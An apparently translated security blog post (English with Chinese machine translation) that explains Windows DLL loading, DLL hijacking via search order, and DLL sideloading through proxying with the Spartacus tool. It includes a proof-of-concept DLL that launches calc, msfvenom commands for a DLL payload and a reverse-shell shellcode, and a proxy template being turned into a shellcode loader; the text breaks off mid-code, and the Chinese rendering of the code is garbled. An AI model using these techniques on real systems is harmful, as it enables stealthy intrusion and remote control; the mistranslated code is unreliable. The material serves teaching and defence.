DLL Sideloading

Introduction 介绍

DLL Sideloading is a technique that enables the attacker to execute custom malicious code from within legitimate – maybe even signed – windows binaries/processes. This technique is known to be extremely evasive (depending on your chosen binary and the target EDR), and in this blogpost, we will try to understand why. On top of that, it is also a well-known and (ab)used technique among threat actors, so understanding the core of the attack helps defending from it.
DLL 旁加载是一种技术,使攻击者能够从合法的(甚至可能是已签名的)Windows 二进制文件/进程中执行自定义恶意代码。众所周知,这种技术非常规避(取决于您选择的二进制文件和目标 EDR),在这篇博文中,我们将尝试了解原因。最重要的是,它也是威胁行为者中众所周知且(滥用)使用的技术,因此了解攻击的核心有助于防御它。

Before actually diving into Sideloading itself, a few concepts need to be addressed first. In the Windows OS, things are not simple. It is a complex system and the deeper you go, the more complicated it becomes. To fully comprehend the theory behind DLL Sideloading, it is important to first understand some core Windows components such as the DLLs themselves, and more importantly, how they work. After explaining the mechanics of DLLs , we will go over the DLL hijacking attack, as I believe this will ease up the process of understanding the sideloading. I personally enjoy referencing DLL sideloading as DLL hijacking on steroids mainly because of their alikeness.
在真正深入研究 Sideloading 本身之前,需要先解决几个概念。在 Windows 操作系统中,事情并不简单。这是一个复杂的系统,你走得越深,它就会变得越复杂。要完全理解 DLL 旁加载背后的理论,首先要了解一些核心 Windows 组件(如 DLL 本身),更重要的是,了解它们的工作原理。在解释了 DLL 的机制之后,我们将介绍 DLL 劫持攻击,因为我相信这将简化理解旁加载的过程。我个人喜欢将 DLL 旁加载称为类固醇上的 DLL 劫持,主要是因为它们的相似性。

1. What is a DLL?
1. 什么是 DLL?

At its core, a Dynamic Link Library (DLL) is a file containing code and data that multiple programs can use simultaneously. DLLs are a crucial component in the Windows operating system because Windows heavily relies on them for pretty much anything. Think of it as a shared repository of functionality, accessible to any application that needs it. Unlike static libraries, which are integrated into an application at compile time, DLLs are loaded into memory at runtime, providing a level of flexibility and modularity that is essential for software integrity. Each process started on Windows uses DLLs in order to operate properly. Additionally, DLLs can be also custom made, which means that for different software vendors, dedicated DLLs can be encountered. Usually they are programmed in C/C++, however, this is not the only option. To better understand DLLs, let’s break down some of their key concepts:
Dynamic Link Library (DLL) 的核心是一个包含多个程序可以同时使用的代码和数据的文件。DLL 是 Windows 操作系统中的关键组件,因为 Windows 几乎任何事情都严重依赖它们。将其视为一个共享的功能存储库,任何需要它的应用程序都可以访问。与在编译时集成到应用程序中的静态库不同,DLL 在运行时加载到内存中,从而提供对软件完整性至关重要的灵活性和模块化级别。在 Windows 上启动的每个进程都使用 DLL 才能正常运行。此外,DLL 也可以定制,这意味着对于不同的软件供应商,可能会遇到专用的 DLL。通常它们是用 C/C++ 编程的,但是,这并不是唯一的选择。为了更好地理解 DLL,让我们分解一下它们的一些关键概念:

The first concept is the Exported Functions and Data. These are the external and open-to-use functions provided by the DLL. This means that when a program needs a specific function from a specific library, this function must be exported to be used. From a developer standpoint, this is done by marking functions and data with the __declspec(dllexport) keyword in C/C++.
第一个概念是 Exported Functions and Data。这些是 DLL 提供的外部和开放使用的函数。这意味着当程序需要特定库中的特定函数时,必须导出此函数才能使用。从开发人员的角度来看,这是通过在 C/C++ 中使用 __declspec(dllexport) 关键字标记函数和数据来完成的。

Next, we have the Loading and Unloading section. When an application starts, the operating system’s loader checks for the presence of required DLLs and loads them into the process’s address space if necessary. The loader also manages reference counting, ensuring that the DLL remains in memory as long as it’s being used and unloading it once it’s no longer needed. The loader maps the DLL into the process’s virtual memory, establishing a bridge between the DLL’s code and the process’s memory space. This allows the application to interact with the DLL’s functionality without worrying about memory management and without locking the DLL for other programs.
接下来,我们有 Loading 和 Unloading 部分。当应用程序启动时,操作系统的加载程序会检查是否存在所需的 DLL,并在必要时将它们加载到进程的地址空间中。加载程序还管理引用计数,确保 DLL 在被使用期间一直保留在内存中,并在不再需要时将其卸载。加载程序将 DLL 映射到进程的虚拟内存中,从而在 DLL 的代码和进程的内存空间之间建立桥梁。这允许应用程序与 DLL 的功能进行交互,而无需担心内存管理,也无需为其他程序锁定 DLL。

It is super important to also explain the Dependency Management. DLLs can have dependencies on other DLLs, forming a complex web of components. The loader handles these dependencies, recursively, loading all required DLLs to ensure that the application has access to the necessary functionality. Effective dependency management is crucial to avoid issues like DLL Hell. From an attacker’s perspective, it is generally a bad idea to target nested DLLs and functions because of the high chance of corrupting the targeted process. While the procedure of finding the proper DLL to target is endless trial and error, Microsoft Docs definitely help a lot, but more on that a little later.
解释 Dependency Management 也非常重要。DLL 可以依赖于其他 DLL,从而形成一个复杂的组件网络。加载程序以递归方式处理这些依赖项,加载所有必需的 DLL,以确保应用程序能够访问必要的功能。有效的依赖项管理对于避免 DLL Hell 等问题至关重要。从攻击者的角度来看,以嵌套的 DLL 和函数为目标通常是一个坏主意,因为很有可能破坏目标进程。虽然找到合适的 DLL 作为目标的过程是无休止的反复试验,但 Microsoft Docs 绝对有很大帮助,但稍后会详细介绍。

From a development perspective, it is possible to manually load a specific function from a specific DLL by utilizing Win32 APIs such as GetModuleHandleA and GetProcAddress. But this raises the question: “If I do not manually use these Win32 APIs, will my program load any needed DLLs at all?”, and the short answer is: YES!
从开发的角度来看,可以使用 Win32 API(如 GetModuleHandleA 和 GetProcAddress)从特定 DLL 手动加载特定函数。但这就提出了一个问题:“如果我不手动使用这些 Win32 API,我的程序是否会加载任何需要的 DLL?”,简短的回答是:是的!

Even though you may not directly include a DLL, by importing a library, for example, windows.h or stdio.h, Windows will look up all of the functions inside this library and eventually load all the needed DLLs. These DLLs may differ based on functionalities, which means that based on what your program is trying to do, different DLLs will eventually be imported at the time that they are needed. In order to analyze which DLLs are imported into the memory space of your target process, you can use tools like Process Hacker 2. From within the program, it is enough to choose and select a process and go over the Modules tab. There you can find all the loaded DLLs, along with their base addresses in memory.
即使您可能不直接包含 DLL,但通过导入库(例如 windows.h 或 stdio.h),Windows 将查找此库中的所有函数,并最终加载所有需要的 DLL。这些 DLL 可能因功能而异,这意味着根据您的程序尝试执行的操作,最终将在需要时导入不同的 DLL。为了分析哪些 DLL 被导入到目标进程的内存空间中,您可以使用 Process Hacker 2 等工具。在程序中,选择并选择一个进程并浏览 模块 选项卡。在那里,您可以找到所有加载的 DLL,以及它们在内存中的基址。

Figure 1: Imported dlls for explorer.exe process
图 1:用于 explorer.exe 进程的导入 dll

To view the things from more practical perspective, let’s take the following exemplary C code:
为了从更实际的角度来看待这些问题,让我们以以下示例 C 代码为例:

C
#include <windows.h>

int main() {
int main() {

MessageBoxA(NULL, Hello, MessageBox!, Message, MB_OK);
MessageBoxANULL, 您好,MessageBox! 消息“, MB_OK);

return 0;
返回 0;

}

When this code is compiled and executed, a message box will appear because of the MessageBoxA Win32 API call. However, according to the docs, the MessageBoxA function is stored and exported from the User32.dll module, which means that during runtime, the very same library will be imported into the program itself. This is visible when the compiled binary is analyzed with ProcessHacker2:
编译并执行此代码时,由于 MessageBoxA Win32 API 调用,将出现一个消息框。但是,根据文档MessageBoxA 函数是从 User32.dll 模块存储和导出的,这意味着在运行时,相同的库将被导入到程序本身中。当使用 ProcessHacker2 分析编译后的二进制文件时,这是可见的:

Figure 2: user32.dll imported and viewed from Process Hacker
图 2:从 Process Hacker 导入和查看user32.dll

While this mechanic is the building foundation for the Windows OS, it has its flaws. When a code is poorly written, as history shows, a lot of problems may occur. One such problems is DLL Hijacking/Sideloading.
虽然这种机制是 Windows 操作系统的构建基础,但它也有其缺陷。正如历史所表明的那样,当代码编写得糟糕时,可能会出现很多问题。其中一个问题是 DLL 劫持/旁加载。

2. What is DLL Hijacking?
2. 什么是 DLL 劫持?

At its core, DLL hijacking exploits poorly written code employed by Windows applications. If an application is designed to load modules by specifying only their name instead of their full path, it will cause the binaries to search for DLLs in arbitrary locations. As already explained, when a program starts, it relies on various DLLs to function. These DLLs must be located and loaded by the corresponding process. The required DLLs for a program are put into the import table of the executable on build time. This table lists the DLLs and the specific functions the application will use. When the program starts, it’s process will try to locate each of the entries by following a specific search order.
DLL 劫持的核心是利用 Windows 应用程序使用的编写不佳的代码。如果应用程序设计为通过仅指定模块的名称而不是完整路径来加载模块,则会导致二进制文件在任意位置搜索 DLL。如前所述,当程序启动时,它依赖于各种 DLL 来运行。这些 DLL 必须由相应的进程找到并加载。程序所需的 DLL 在构建时放入可执行文件的导入表中。下表列出了 DLL 和应用程序将使用的特定函数。当程序启动时,它的过程将尝试按照特定的搜索顺序找到每个条目。

3. Explaining DLL search order
3. 解释 DLL 搜索顺序

Initially, a process will search in the directory from which the application’s executable file was loaded. This is most likely the location for the necessary DLLs, especially for application-specific ones. If the DLLs are not located there, the process will move on to the system directory (typically C:\Windows\System32). This directory contains essential system libraries that are common to all applications. If the DLLs are still missing, Windows will search for them in the 16-bit System Directory (C:\Windows\System), or (C:\Windows\SysWOW64).
最初,进程将在加载应用程序可执行文件的目录中进行搜索。这很可能是必要的 DLL 的位置,尤其是对于特定于应用程序的 DLL。如果 DLL 不在那里,则进程将移动到系统目录(通常为 C:\Windows\System32)。此目录包含所有应用程序通用的基本系统库。如果 DLL 仍然缺失,Windows 将在 16 位系统目录 (C:\Windows\System) 或 (C:\Windows\SysWOW64) 中搜索它们。

Again, if the DLL files are still missing, Windows will try to find them in the main Windows directory (C:\Windows) and then it will look for them in the current working directory. Lastly, if in none of the previous locations the needed DLLs are not found, Windows will try to utilize the PATH environment variable. This environment variable can include multiple paths where executable files and DLLs might reside.
同样,如果 DLL 文件仍然丢失,Windows 将尝试在 Windows 主目录 (C:\Windows) 中找到它们,然后在当前工作目录中查找它们。最后,如果在前面的任何位置都找不到所需的 DLL,Windows 将尝试使用 PATH 环境变量。此环境变量可以包含可执行文件和 DLL 可能驻留的多个路径。

Essentially, the lookup process looks like this:
本质上,查找过程如下所示:

Figure 3: Search order from https://stillu.cc/threat-spotlight/2020/09/16/dll-hijacking/
图 3:https://stillu.cc/threat-spotlight/2020/09/16/dll-hijacking/ 的搜索顺序

4. Showcasing DLL Hijacking
4. 展示 DLL 劫持

Since we are now aware of how Windows processes actually resolve and load DLLs, we may ask the very valid question: “What will happen if we somehow force the process/application to load a DLL from an attacker controlled location?” Well, that is what DLL Hijacking really is! As mentioned above, upon starting a program or during its runtime, it will try to load it‘s DLLs from the locations mentioned above. If by accident or mistake, the needed DLL is not present on the first search candidate, it will eventually try to search in directories where normal users have permission to write and modify files.
由于我们现在知道 Windows 进程实际上是如何解析和加载 DLL,因此我们可能会提出一个非常有效的问题:“如果我们以某种方式强制进程/应用程序从攻击者控制的位置加载 DLL,会发生什么情况?嗯,这就是 DLL 劫持的真正含义!如上所述,在启动程序时或运行时,它将尝试从上述位置加载其 DLL。如果意外或错误,第一个搜索候选者上不存在所需的 DLL,它最终将尝试在普通用户有权写入和修改文件的目录中进行搜索。

Important note: In this blogpost, we are operating from the perspective of a low privileged user. The same attack can of course be achieved with administrative permissions, but in that case, the end goal would be more to establish persistence. DLL Hijacking attacks can be used for many purposes, including initial access, privilege escalation, establishing persistence, and more.
重要提示:在这篇博文中,我们从低权限用户的角度进行操作。当然,使用管理权限也可以实现相同的攻击,但在这种情况下,最终目标将更多地是建立持久性。DLL 劫持攻击可用于多种目的,包括初始访问、权限提升、建立持久性等

To explain DLL Hijacking from a practical standpoint, I will use the DVTA project. Later on, we will move on to a different and more realistic target. The DVTA repository contains a C# program that is intentionally made vulnerable to various attacks, one of which is DLL Hijacking. Finding a DLL Hijacking vulnerability is as simple as scanning various applications for their import address table and analyzing the imports on runtime/startup. This process might look complicated at first, but it is far from hard. Luckily, there is the Sysinternals Suite which holds various signed and trusted applications from Microsoft itself with the aim to help debugging/developing/administrating Windows applications. One of the Suite’s tools is ProcessMonitor. This application allows us to check the process behavior during runtime. This includes, which DLLs are tried to be loaded plus their location on disk.
为了从实际角度解释 DLL 劫持,我将使用 DVTA 项目。稍后,我们将继续讨论一个不同的、更现实的目标。DVTA 存储库包含一个 C# 程序,该程序故意使其容易受到各种攻击,其中之一就是 DLL 劫持。查找 DLL 劫持漏洞就像扫描各种应用程序的导入地址表并在运行时/启动时分析导入一样简单。这个过程乍一看可能看起来很复杂,但并不难。幸运的是,有 Sysinternals Suite,它包含来自 Microsoft 本身的各种签名和受信任的应用程序,旨在帮助调试/开发/管理 Windows 应用程序。该套件的工具之一是 ProcessMonitor。此应用程序允许我们在运行时检查进程行为。这包括尝试加载的 DLL 及其在磁盘上的位置。

When it comes to DLL hijacking, especially for initial access scenarios, different attack vectors are possible. One of the main ones would be to ship a custom binary along with a sideloading DLL. This allows us to not depend on whether specific vulnerable binaries are already present on the target system.
当涉及到 DLL 劫持时,尤其是对于初始访问场景,可能存在不同的攻击向量。其中一个主要方法是将自定义二进制文件与旁加载 DLL 一起提供。这允许我们不依赖于目标系统上是否已经存在特定的易受攻击的二进制文件。

To perform a DLL hijacking attack, we would need to find a CreateFile operation in Process Monitor with a STATUS NOT FOUND result. This will indicate that the process was not able to find the needed DLL, which means that we can now effectively force it to load an arbitrary custom module after placing the DLL inside a writable location. When this application is started the next time, it will load our maliciously planted DLL instead of the legitimate one.
要执行 DLL 劫持攻击,我们需要在 Process Monitor 中找到 CreateFile 操作,结果为 STATUS NOT FOUND。这将表明该进程无法找到所需的 DLL,这意味着我们现在可以在将 DLL 放置在可写位置后有效地强制它加载任意自定义模块。下次启动此应用程序时,它将加载我们恶意植入的 DLL 而不是合法的 DLL。

To implement this process, let’s first find failed _CreateFile_ operation. After loading Process Monitor you will observe an enormous amount of output, let’s filter it up a little bit.
若要实现此过程,让我们首先查找失败的 _CreateFile_ 操作。加载 Process Monitor 后,您将观察到大量的输出,让我们稍微过滤一下。

Figure 4: Process Monitor filters
图 4:Process Monitor 过滤器

The screenshot above simplifies the visualized data, in a nutshell, it filters the output based on the name of the application we want to target, in this case, DVTA. It also applies a filter, that will output each event that contains a DLL inside its path.
上面的屏幕截图简化了可视化数据,简而言之,它根据我们想要定位的应用程序的名称过滤输出,在本例中为 DVTA。它还应用一个筛选器,该筛选器将输出其路径中包含 DLL 的每个事件。

I am aware that you can narrow down the search even more by specifying the exact event, but I always find useful to observe which DLLs are used for the application I am targeting.
我知道您可以通过指定确切事件来进一步缩小搜索范围,但我总是发现观察哪些 DLL 用于我所针对的应用程序很有用。

When applied, this filter is going to give us all events that contain operations with .dll files. While most of them were found on disk directly, after you dig down a little bit, you will end up seeing something like this:
应用后,此过滤器将为我们提供包含对 .dll 文件的操作的所有事件。虽然它们中的大多数是直接在磁盘上找到的,但当你深入研究一下后,你最终会看到这样的内容:

Figure 5: DLL not found event enumerated from process monitor
图 5:进程监视器中枚举的 DLL 未找到事件

Keep in mind that the important part here is the PATH. I am sure that you might find a lot of NAME NOT FOUND events for various processes, but make sure that the process is trying to retrieve the module from the writable location.
请记住,这里的重要部分是 PATH。我敢肯定,您可能会为各种进程找到很多 NAME NOT FOUND 事件,但请确保该进程正在尝试从可写位置检索模块。

The next step is to create a DLL that we want to be loaded and executed. During this step, we will use the following PoC code, which has only one malicious mission: spawn calculator.
下一步是创建我们想要加载和执行的 DLL。在此步骤中,我们将使用以下 PoC 代码,该代码只有一个恶意任务:spawn calculator。

C
#include pch.h
#include pch.h


#include <stdlib.h>

#include <windows.h>

void calc();
无效 calc();


BOOL APIENTRY DllMain(HMODULE hModule,
BOOL APIENTRY DllMainHMODULE hModule

DWORD ul_reason_for_call,
DWORD ul_reason_for_call /

LPVOID lpReserved 
) {
{

HANDLE t;
ACT t;

switch (ul_reason_for_call) {
开关 ul_reason_for_call {

case DLL_PROCESS_ATTACH:
案例DLL_PROCESS_ATTACH

t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) calc, NULL, 0, NULL);
t = CreateThreadNULL, 0 LPTHREAD_START_ROUTINE calc NULL, 0 NULL);

CloseHandle(t);
CloseHandlet);

break;
休息;

case DLL_THREAD_ATTACH:
案例DLL_THREAD_ATTACH

case DLL_THREAD_DETACH:
案例 DLL_THREAD_DETACH

case DLL_PROCESS_DETACH:
案例DLL_PROCESS_DETACH

break;
休息;

}
return TRUE;
返回 TRUE;

}

void calc() {
无效 calc() {

system(calc.exe); 
}

After compiling the code, it is super important to rename the output DLL file into the exact same name which was requested from the application, in our examplary case, it is cryptbase.dll. After placing the custom DLL inside the folder from where it was previously not found, the DLL Hijacking attack is now complete. The only thing left is to restart the application or wait for the DLL to be recalled if the targeted application is designed in such a way.  

Figure 2: Spawning calc.exe after placing cryptbase.dll and restarting the application  

Note: If you are not into coding, you can also generate various DLL files with msfvenom. To replicate the above example, you can use the following command:  

msfvenom -f dll -p windows/x64/exec CMD="C:\\Windows\\System32\\calc.exe" -o cryptbase.dll

While the attack worked perfectly, it was observed to have one major issue: There was no DVTA application. Even though the process was running when viewed from the task manager, the application was irresponsive. This is because the DLL payload that was executed only contains DllMain but not any other exported function, which might be needed for the application. This is where DLL Sideloading comes into play!
虽然攻击运行良好,但观察到它存在一个主要问题:没有 DVTA 应用程序。即使从任务管理器查看该进程正在运行,该应用程序也没有响应。这是因为执行的 DLL 有效负载仅包含 DllMain,而不包含应用程序可能需要的任何其他导出函数。这就是 DLL 旁加载发挥作用的地方!

5. DLL Sideloading 5. DLL 旁加载

On its surface, DLL Sideloading is aiming for the very same thing as DLL Hijacking. As mentioned, the problem of the DLL Hijacking technique was that the custom DLL is lacking the needed function exports from the targeted application. To solve this problem, we should perform something called DLL Proxying, a.k.a sideloading.
从表面上看,DLL Sideloading 的目标是与 DLL 劫持完全相同。如前所述,DLL 劫持技术的问题在于自定义 DLL 缺少从目标应用程序导出所需的函数。为了解决这个问题,我们应该执行一些叫做 DLL 代理的东西,也就是旁加载。

6. What is DLL Proxying?
6. 什么是 DLL 代理?

DLL Proxying is a technique where we check which DLL and functions are used by the targeted program, and then we forward them to the original legitimate DLL, so that their functionality is still working. Essentially, it looks like that:
DLL 代理是一种技术,我们检查目标程序使用了哪些 DLL 和函数,然后将它们转发到原始合法的 DLL,以便它们的功能仍然有效。从本质上讲,它看起来像这样:

Figure 7: DLL Proxying visualization from https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistenceDLL
图 7:来自 https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistenceDLL 的 DLL 代理可视化

By doing this we ensure, that the custom DLL now exports every function that is needed from the application, which drastically lowers the chance of crashing the program. Now, when the DLL is loaded, the malicious payload will get executed in parallel with the intended and needed exported functions.
通过这样做,我们可以确保自定义 DLL 现在从应用程序中导出所需的每个函数,这大大降低了程序崩溃的可能性。现在,当加载 DLL 时,恶意负载将与预期和需要的导出函数并行执行。

Additionally, the payload execution should not be handled carelessly, if the payload execution is done from DllMain, even though the exported functions are present, the application could still timeout due to for example a LoaderLock. To avoid locking the targeted process it is highly recommended to perform either Remote Process Injection, Remote Thread Creation, Thread Hijack, or pretty much each technique that will jump to / create a thread. But even if you do this, you might end up in a LoaderLock with a C2-Payload. For example Hooking could be used to break out of DllMain as alternative. The Perfect DLL Hijacking blog post also describes alternatives to „safely“ run payloads from DllMain. Best chances for no LoaderLock at all however is to execute the payload from an exported function itself instead of DllMain from our experience.
此外,如果有效负载执行是从 DllMain 完成的,则不应粗心处理有效负载执行,即使导出的函数存在,应用程序仍可能由于 LoaderLock 等原因而超时。为避免锁定目标进程,强烈建议执行 Remote Process Injection、Remote Thread Creation、Thread Hijack 或几乎所有将跳转到 / 创建线程的技术。但即使你这样做了,你也可能最终会得到一个带有 C2-Payload 的 LoaderLock。例如,Hooking 可用于作为替代 DllMain 分离。Perfect DLL Hijacking 博客文章还介绍了从 DllMain “安全”运行有效负载的替代方案。然而,完全没有 LoaderLock 的最佳机会是从导出的函数本身执行有效负载,而不是从我们的经验中执行 DllMain。

But now here comes the real question: “How to accomplish DLL-Proxying?”. I know it sounds super complicated at first, but luckily, we have the magic of the open-source space. While there are many tools for finding and exploiting DLL Hijacking vulnerabilities, I found Spartacus to be pretty straightforward and useful to generate the initial DLL-Proxy code.
但现在真正的问题来了:“如何完成 DLL 代理?我知道乍一听听起来非常复杂,但幸运的是,我们拥有开源空间的魔力。虽然有许多工具可用于查找和利用 DLL 劫持漏洞,但我发现 Spartacus 非常简单且可用于生成初始 DLL-Proxy 代码。

7. Conducting DLL Proxying
7. 进行 DLL 代理

Spartacus is a relatively easy program to use and it is well documented. I highly encourage you to look at its Github page for usage information. The tool requires Process Monitor to be present on your system, in order to find such DLL Hijacking vulnerabilities. In a nutshell, you need to go through the following steps:
Spartacus 是一个相对容易使用的程序,并且有据可查。我强烈建议您查看其 Github 页面以获取使用信息。该工具需要您的系统上存在 Process Monitor,以便找到此类 DLL 劫持漏洞。简而言之,您需要完成以下步骤:

  1. Generate a ProcMon (PMC) config file on the fly, based on the arguments passed. The filters that will be set are:
    根据传递的参数动态生成 ProcMon (PMC) 配置文件。将设置的筛选器包括:

    • Operation is CreateFile.
      Operation 为 CreateFile
    • Path ends with .dll.
      路径以 .dll 结束。
    • Process name is not procmon.exe or procmon64.exe.
      进程名称不是 procmon.exe 或 procmon64.exe
    • Enable Drop Filtered Events to ensure minimum PML output size.
      启用 Drop Filtered Events 以确保最小 PML 输出大小。
    • Disable Auto Scroll.
      禁用 Auto Scroll
  2. Execute Process Monitor and halt until the user presses ENTER.
    执行 Process Monitor 并暂停,直到用户按 ENTER。
  3. User runs/terminates processes, or leave it running for as long as they require.
    用户运行/终止进程,或根据需要保持进程运行。
  4. Terminates Process Monitor upon the user pressing ENTER.
    在用户按 ENTER 键时终止进程监视器。
  5. Parses the output Event Log (PML) file.
    解析输出事件日志 (PML) 文件。


    1. Creates a CSV file with all the NAME_NOT_FOUND and PATH_NOT_FOUND DLLs.
      创建包含所有 NAME_NOT_FOUND 和 PATH_NOT_FOUND DLL 的 CSV 文件。
    2. Compares the DLLs from above and tries to identify the DLLs that were actually loaded.
      比较上面的 DLL,并尝试识别实际加载的 DLL。
    3. For every “found” DLL it generates a Visual Studio solution for proxying all of the identified DLL’s export functions.
      对于每个“找到的”DLL,它会生成一个 Visual Studio 解决方案,用于代理所有已识别的 DLL 的导出函数。

As explained, Spartacus will automatically generate source code, where the proxying process is already included. The only thing you need to do is to modify DllMain to execute your payload.
如前所述,Spartacus 将自动生成源代码,其中代理过程已经包含在内。您唯一需要做的就是修改 DllMain 以执行您的有效负载。

To run Spartacus, you can use the following syntax:
要运行 Spartacus,您可以使用以下语法:

.\Spartacus.exe --mode dll --procmon C:\Users\user\Desktop\Procmon64.exe --pml .\logs.pml --csv .\VulnerableDLLFiles.csv --solution .\Solutions --verbose

Let’s break down the options.
让我们分解一下选项。

    --mode: Defines the operation mode. Using dll Spartacus will seek for DLL Hijacking vulnerabilities.
    --mode:定义运行模式。使用 dll Spartacus 将寻找 DLL 劫持漏洞。

    --procmon: Defines the path to your Procmon application, it is recommended to use the full path.
    --procmon:定义 Procmon 应用程序的路径,建议使用完整路径。

    --pml: Defines the log file where all logged events will be stored.
    --pml 中:定义将存储所有记录事件的日志文件。

    --csv: Defines the output file to save all vulnerable DLLs.
    --csv:定义用于保存所有易受攻击的 DLL 的输出文件。

    --solution: Defines the output file path.
    --solution:定义输出文件路径。

    --verbose: More detailed output.
    --verbose:更详细的输出。

After running the above-mentioned command, you can observe that the process monitoring has started.
运行上述命令后,可以观察到进程监控已经启动。

Figure 8: Spartacus doing process monitoring
图 8:Spartacus 进行过程监控

In this phase, we need to restart the process we are targeting, a.k.a the DVTA, or replicate the action within the process, which is going to eventually load the vulnerable DLL. As soon as we start the program, we can go back to the terminal where Spartacus is running and press ENTER. This will tell Spartacus that he has done enough work monitoring, and now it‘s time to analyze the results.
在此阶段,我们需要重新启动我们所针对的进程(即 DVTA),或在进程中复制操作,这最终将加载易受攻击的 DLL。一旦我们启动程序,我们就可以返回运行 Spartacus 的终端并按 ENTER。这将告诉 Spartacus 他已经做了足够的监控工作,现在是分析结果的时候了。

Figure 9: Spartacus analysis
图 9:斯巴达克斯分析

The analysis discovered and automatically generated the needed source code for the two DLLs that can be used for hijacking (cryptbase.dll, DWrite.dll).
分析发现并自动生成了可用于劫持的两个 DLL(cryptbase.dll、DWrite.dll)所需的源代码。

If you forgot to specify the --solution option, Spartacus can generate the needed solutions based on specified DLL with this command:
如果你忘记指定 --solution 选项,Spartacus 可以使用以下命令基于指定的 DLL 生成所需的解决方案:

.\Spartacus.exe --mode proxy --dll --solution .\Solutions --overwrite --verbose

Spartacus was able to generate the following template for cryptbase.dll:
Spartacus 能够为 cryptbase.dll 生成以下模板:

C
#pragma once
#pragma 一次


#pragma comment(linker, /export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1)
#pragma commentlinker/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1

#pragma comment(linker, /export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2)
#pragma commentlinker/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2 英寸

#pragma comment(linker, /export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3)
#pragma commentlinker/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3 英寸

#pragma comment(linker, /export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4)
#pragma commentlinker/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4

#pragma comment(linker, /export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5)
#pragma commentlinker/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5

#pragma comment(linker, /export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6)
#pragma commentlinker/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6 英寸

#pragma comment(linker, /export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7)
#pragma commentlinker/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7 英寸

#pragma comment(linker, /export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8)
#pragma commentlinker/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8

#pragma comment(linker, /export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9)
#pragma commentlinker/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9 英寸

#pragma comment(linker, /export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10)
#pragma commentlinker/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10 英寸

#pragma comment(linker, /export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11)
#pragma commentlinker/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11 英寸


#include windows.h
#include windows.h


#include ios
#include iOS


#include fstream
#include fstream



// Remove this line if you aren’t proxying any functions.
如果您未代理任何函数,请删除此行。

HMODULE hModule = LoadLibrary(L C:\\Windows\\System32\\cryptbase.dll);
HMODULE hModule = LoadLibraryL C:\\Windows\\System32\\cryptbase.dll);


// Remove this function if you aren’t proxying any functions.
如果您未代理任何函数,请删除此函数。

VOID DebugToFile(LPCSTR szInput) {
VOID DebugToFileLPCSTR szInput {

std::ofstream log(spartacus-proxy-cryptbase.log, std::ios_base::app | std::ios_base::out);
std::ofstream logspartacus-proxy-cryptbase.log std::ios_base::app | std::ios_base::out);

log << szInput;
log << \n;
日志 << \n;

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
BOOL APIENTRY DllMainHMODULE hModule DWORD ul_reason_for_call, LPVOID lpReserved {

switch (ul_reason_for_call) {
开关 ul_reason_for_call {

case DLL_PROCESS_ATTACH: 
case DLL_THREAD_ATTACH: 
case DLL_THREAD_DETACH: 
case DLL_PROCESS_DETACH: 
break; 
} 
return TRUE; 
}

If you are not sure about the export statements, each DLL can be manually looked up from this website.
如果您不确定 export 语句,可以从此网站手动查找每个 DLL。

Now we can modify the source code to perform shellcode execution. First, we are going for a simple example. Let’s modify the code by using one example from my OffensiveCpp repository:
现在我们可以修改源码来执行 shellcode 执行。首先,我们来看一个简单的例子。让我们使用我的 OffensiveCpp 存储库中的一个示例来修改代码:

cpp
#pragma once 

#pragma comment(linker, /export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1) 
#pragma comment(linker, /export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2) 
#pragma comment(linker, /export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3) 
#pragma comment(linker, /export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4) 
#pragma comment(linker, /export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5) 
#pragma comment(linker, /export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6) 
#pragma comment(linker, /export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7) 
#pragma comment(linker, /export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8) 
#pragma comment(linker, /export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9) 
#pragma comment(linker, /export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10) 
#pragma comment(linker, /export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11) 

#include windows.h 

#include ios 

#include fstream 

//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=10443 -f c 
unsigned char buf[] = <output from msfvenom> 

// Remove this line if you aren’t proxying any functions. 
HMODULE hModule = LoadLibrary(L C:\\Windows\\System32\\cryptbase.dll); 

// Remove this function if you aren’t proxying any functions. 
